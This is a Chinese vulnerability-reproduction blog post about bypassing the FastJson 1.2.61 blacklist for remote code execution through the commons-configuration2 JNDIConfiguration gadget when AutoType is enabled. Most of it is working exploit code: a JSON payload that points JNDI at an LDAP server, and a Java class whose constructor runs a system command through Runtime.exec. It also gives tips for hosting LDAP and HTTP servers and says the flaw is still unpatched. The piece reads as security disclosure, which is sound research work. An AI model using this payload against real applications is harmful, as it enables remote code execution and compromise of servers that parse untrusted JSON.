commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)
前言
最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新)
复现环境准备
1.JDK 8U20
2.所需jar清单如下
fastjson-1.2.61.jarcommons-configuration2-2.0.jarcommons-lang3-3.3.2.jarcommons-logging-1.2.jar
FastJson复现
FastJsonTest.java
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";
JSONObject json = JSON.parseObject(jsonStr6); json.toJSONString(); }}
恶意类ExportObject.java
import java.io.BufferedReader;import java.io.InputStreamReader;
public class ExportObject {public ExportObject() throws Exception { Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app"); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer();
String line;while((line = br.readLine()) != null) { sb.append(line).append("\n"); }
String result = sb.toString(); Exception e = new Exception(result);throw e; }
public static void main(String[] args) throws Exception { }}
使用org.apache.commons.configuration2.JNDIConfiguration
payload 效果如下
关于黑名单
Fastjson
在1.2.42
版本开始,将原本明文的黑名单改成了hash value
的黑名单
使用这种方式,能在一定程度上减缓安全研究者对fastjson
黑名单绕过的速度
关于黑名单,有安全研究者在GitHub上开源了一个项目,叫做fastjson-blacklist
,大家可以关注一下.
后记
对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》,快速开启http服务可以使用python -m SimpleHTTPServer
.
使用JNDI进行rce,请注意JDK对于JNDI的修复,可参考pyn3rd师傅的图
Reference
fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名单:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速开启RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g
时间轴
[0] 2019年9月20日 亚信安全提交该漏洞给阿里巴巴
[1] 2019年9月23日 亚信安全网络攻防实验室发布预警公告
commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)相关推荐
- 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)
文章目录 一.Apache Unomi简介 二.CVE-2020-11975漏洞 2.1.CVE-2020-11975漏洞代码 2.2.CVE-2020-11975漏洞修复代码 三.CVE-2020- ...
- 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)
0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装.常用组件有 Word.Excel.PowerPoint等. 0x0 ...
- c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...
文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...
- Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
1.漏洞信息 1.1 漏洞简介 · 漏洞名称:Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.Template ...
- 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册
[漏洞通告]微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)
- php代码执行漏洞,预警!!!PHP 远程代码执行漏洞
一.前言 2019年10月22日,在github上公开了一个关于PHP的远程代码执行漏洞. 斗象智能安全CRS产品已全面支持该漏洞的检测与验证,用户可直接登陆www.riskivy.com 进行验证. ...
- oracle11g远程命令执行漏洞,「漏洞通告」WebLogic多个远程代码执行漏洞
一.漏洞概述 京时间4月15日,Oracle官方发布了2020年4月关键补丁更新公告CPU(Critical Patch Update),修复了397个不同程度的漏洞.其中包括三个针对Weblogic ...
- 「安全狗漏洞通告」Fortinet SSL VPN远程代码执行漏洞解决方案
安全狗应急响应中心监测到,Fortinet发布了FortiOS SSL-VPN的风险通告,漏洞等级:高危,漏洞评分:9.3.漏洞编号:CVE-2022-42475. 安全狗应急响应中心建议广大用户做好 ...
- php5.4漏洞解决,php5.4.3的远程代码执行漏洞,提权挺管用
PHP com_print_typeinfo()的漏洞,通过PHP代码调用"exec"可运行SHELL命令 用这个提权是不是很方便了? // Exploit Title: PHP ...
最新文章
- controller是什么意思_好文推荐:什么是领域驱动设计?DDD?
- iPhoneX-关于底部的那个一个横条的问题
- 趣谈网络协议笔记-零
- c++string类默认函数实现
- 802.1x认证EAP包结构
- 开源免费,zabbix服务器监控全面实现
- linux环境变量命名规范,Linux就该这么学 -- 重要的环境变量
- C++socket编程(三):3.3 bind端口
- 重构java和js版_重构Javascript代码示例(重构前后对比)
- 完全开源:带OLED超级Mini的SWD离线烧写器!
- 仿真小白必须知道的!有限元法-它是什么?FEM和FEA解释
- HTML table表头排序箭头绘制法【不用箭头图片】
- 跑步到底伤不伤膝盖?励建安教授给你权威解答
- 关于先有鸡蛋还是先有鸡的理解
- UE4 动态材质设置
- 关于微信小程序danmu-List所遇到的坑
- metasploit unleashed(Chinese Simplified Edition)-8
- 正确将图片保存到相册的方法
- 蓝精灵事件来袭: 深受喜爱的蓝色角色来 Web3 啦!
- 自动化部署工具OneinStack:从入坑到出坑
热门文章
- 微软的SQLHelper类(含完整中文注释)
- [转载]ns2在linux安装过程
- objective-c 使用NSNumber 将int float long等数据类型加入到数组或字典中
- git回退历史版本无法上传_Git系列教程(二):版本库中添加文件、版本回退
- 产品发布系统_【产品发布】第3期|阀门遥控系统
- 主机ping不通Virtualbox里的虚拟机
- 点钞机语音怎么打开_原来微信语音一样能转发? 居然还有人不知道
- html 物流状态,使用css实现物流进度的样式的实例代码
- Python中的条件语句(if,if ... else,if ... elif ... else和嵌套的if)
- 电子增稳云台_揭秘Dobby自拍无人机,电子增稳是黑科技?